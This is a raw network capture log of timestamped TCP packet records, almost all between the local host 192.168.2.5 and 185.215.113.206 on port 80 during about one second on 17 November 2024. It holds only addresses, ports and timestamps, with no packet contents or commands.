Nov 17, 2024 03:42:14.557981968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.558012009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.558351994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.558398962 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.558402061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.558437109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.558469057 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.558469057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.558480024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.558506012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.558516026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.558541059 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.558548927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.558576107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.558584929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.558612108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.558621883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.558660984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.559154034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.559201956 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.559206009 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.559252977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.676341057 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.676398993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.676433086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.676464081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.676496983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.676528931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.676548004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.676548004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.676548004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.676548004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.676563025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.676568985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.676588058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.676599026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.676614046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.676645041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.676655054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.676685095 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.676702976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.676731110 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.676759958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.676853895 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.676861048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.676903963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.676911116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.676947117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.676953077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.676990986 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.677273989 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.677323103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.677323103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.677357912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.677371025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.677390099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.677395105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.677424908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.677434921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.677462101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.677478075 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.677510977 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.677870035 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.677902937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.677923918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.677937984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.677947044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.677972078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.677988052 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.678021908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.678461075 CET	443	49703	23.1.237.91	192.168.2.5
Nov 17, 2024 03:42:14.678551912 CET	49703	443	192.168.2.5	23.1.237.91
Nov 17, 2024 03:42:14.795156956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.795249939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.795284986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.795350075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.795353889 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.795384884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.795387983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.795398951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.795437098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.795470953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.795502901 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.795557976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.795587063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.795608044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.795608044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.795608044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.795608044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.795608044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.795619965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.795648098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.795655012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.795660973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.795700073 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.795809984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.795875072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.795876980 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.795912027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.795921087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.795944929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.795958996 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.795979977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.795988083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.796025991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.796304941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.796353102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.796380043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.796387911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.796391964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.796422005 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.796433926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.796454906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.796466112 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.796489954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.796500921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.796525955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.796533108 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.796555042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.796570063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.796598911 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.797025919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.797055006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.797077894 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.797096014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.914216995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.914307117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.914344072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.914396048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.914427042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.914429903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.914464951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.914494991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.914499998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.914510965 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.914535046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.914542913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.914570093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.914575100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.914603949 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.914629936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.914639950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.914644003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.914693117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.914694071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.914730072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.914747000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.914764881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.914786100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.914798975 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.914810896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.914834976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.914854050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.914871931 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.914885044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.914922953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.914983034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.915016890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.915047884 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.915059090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.915066004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.915105104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.915112019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.915146112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.915164948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.915179014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.915194035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.915213108 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.915234089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.915247917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.915262938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.915304899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.958206892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.958316088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.958355904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:14.958499908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.958499908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:14.958499908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.032852888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.032924891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.032983065 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.033018112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.033052921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.033060074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.033060074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.033060074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.033086061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.033124924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.033157110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.033207893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.033222914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.033222914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.033222914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.033222914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.033241034 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.033242941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.033278942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.033281088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.033313036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.033324957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.033351898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.033358097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.033369064 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.033405066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.033482075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.033535004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.033535957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.033586025 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.033586025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.033621073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.033636093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.033654928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.033677101 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.033690929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.033695936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.033749104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.034045935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.034080029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.034111023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.034113884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.034132004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.034185886 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.074214935 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.074250937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.074285984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.074311018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.074470043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.077172995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.077208042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.077224016 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.077244043 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.077244997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.077279091 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.077290058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.077323914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.152153969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.152213097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.152246952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.152281046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.152313948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.152348042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.152380943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.152414083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.152425051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.152425051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.152448893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.152455091 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.152456045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.152471066 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.152486086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.152504921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.152530909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.152539968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.152575016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.152596951 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.152607918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.152628899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.152642012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.152657032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.152681112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.152698040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.152721882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.152774096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.152789116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.152810097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.152829885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.152865887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.192981958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.193037033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.193064928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.193080902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.193095922 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.193154097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.196151018 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.196187019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.196219921 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.196242094 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.196244955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.196276903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.196294069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.196312904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.196331024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.196347952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.196363926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.196382046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.196403027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.196418047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.196435928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.196466923 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.272075891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.272104979 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.272120953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.272135973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.272151947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.272166967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.272181988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.272197008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.272212029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.272222042 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.272321939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.272331953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.272341967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.272341967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.272349119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.272358894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.272365093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.272370100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.272377968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.272378922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.272408009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.272433043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.311882973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.311935902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.311970949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.311974049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.312004089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.312026024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.314891100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.314944029 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.314960003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.314984083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.314996004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.315020084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.315033913 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.315069914 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.315074921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.315109968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.315124989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.315145016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.315156937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.315180063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.315192938 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.315220118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.315234900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.315267086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.389595985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.389653921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:15.389723063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.389765024 CET	49704	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:15.390705109 CET	80	49704	185.215.113.206	192.168.2.5
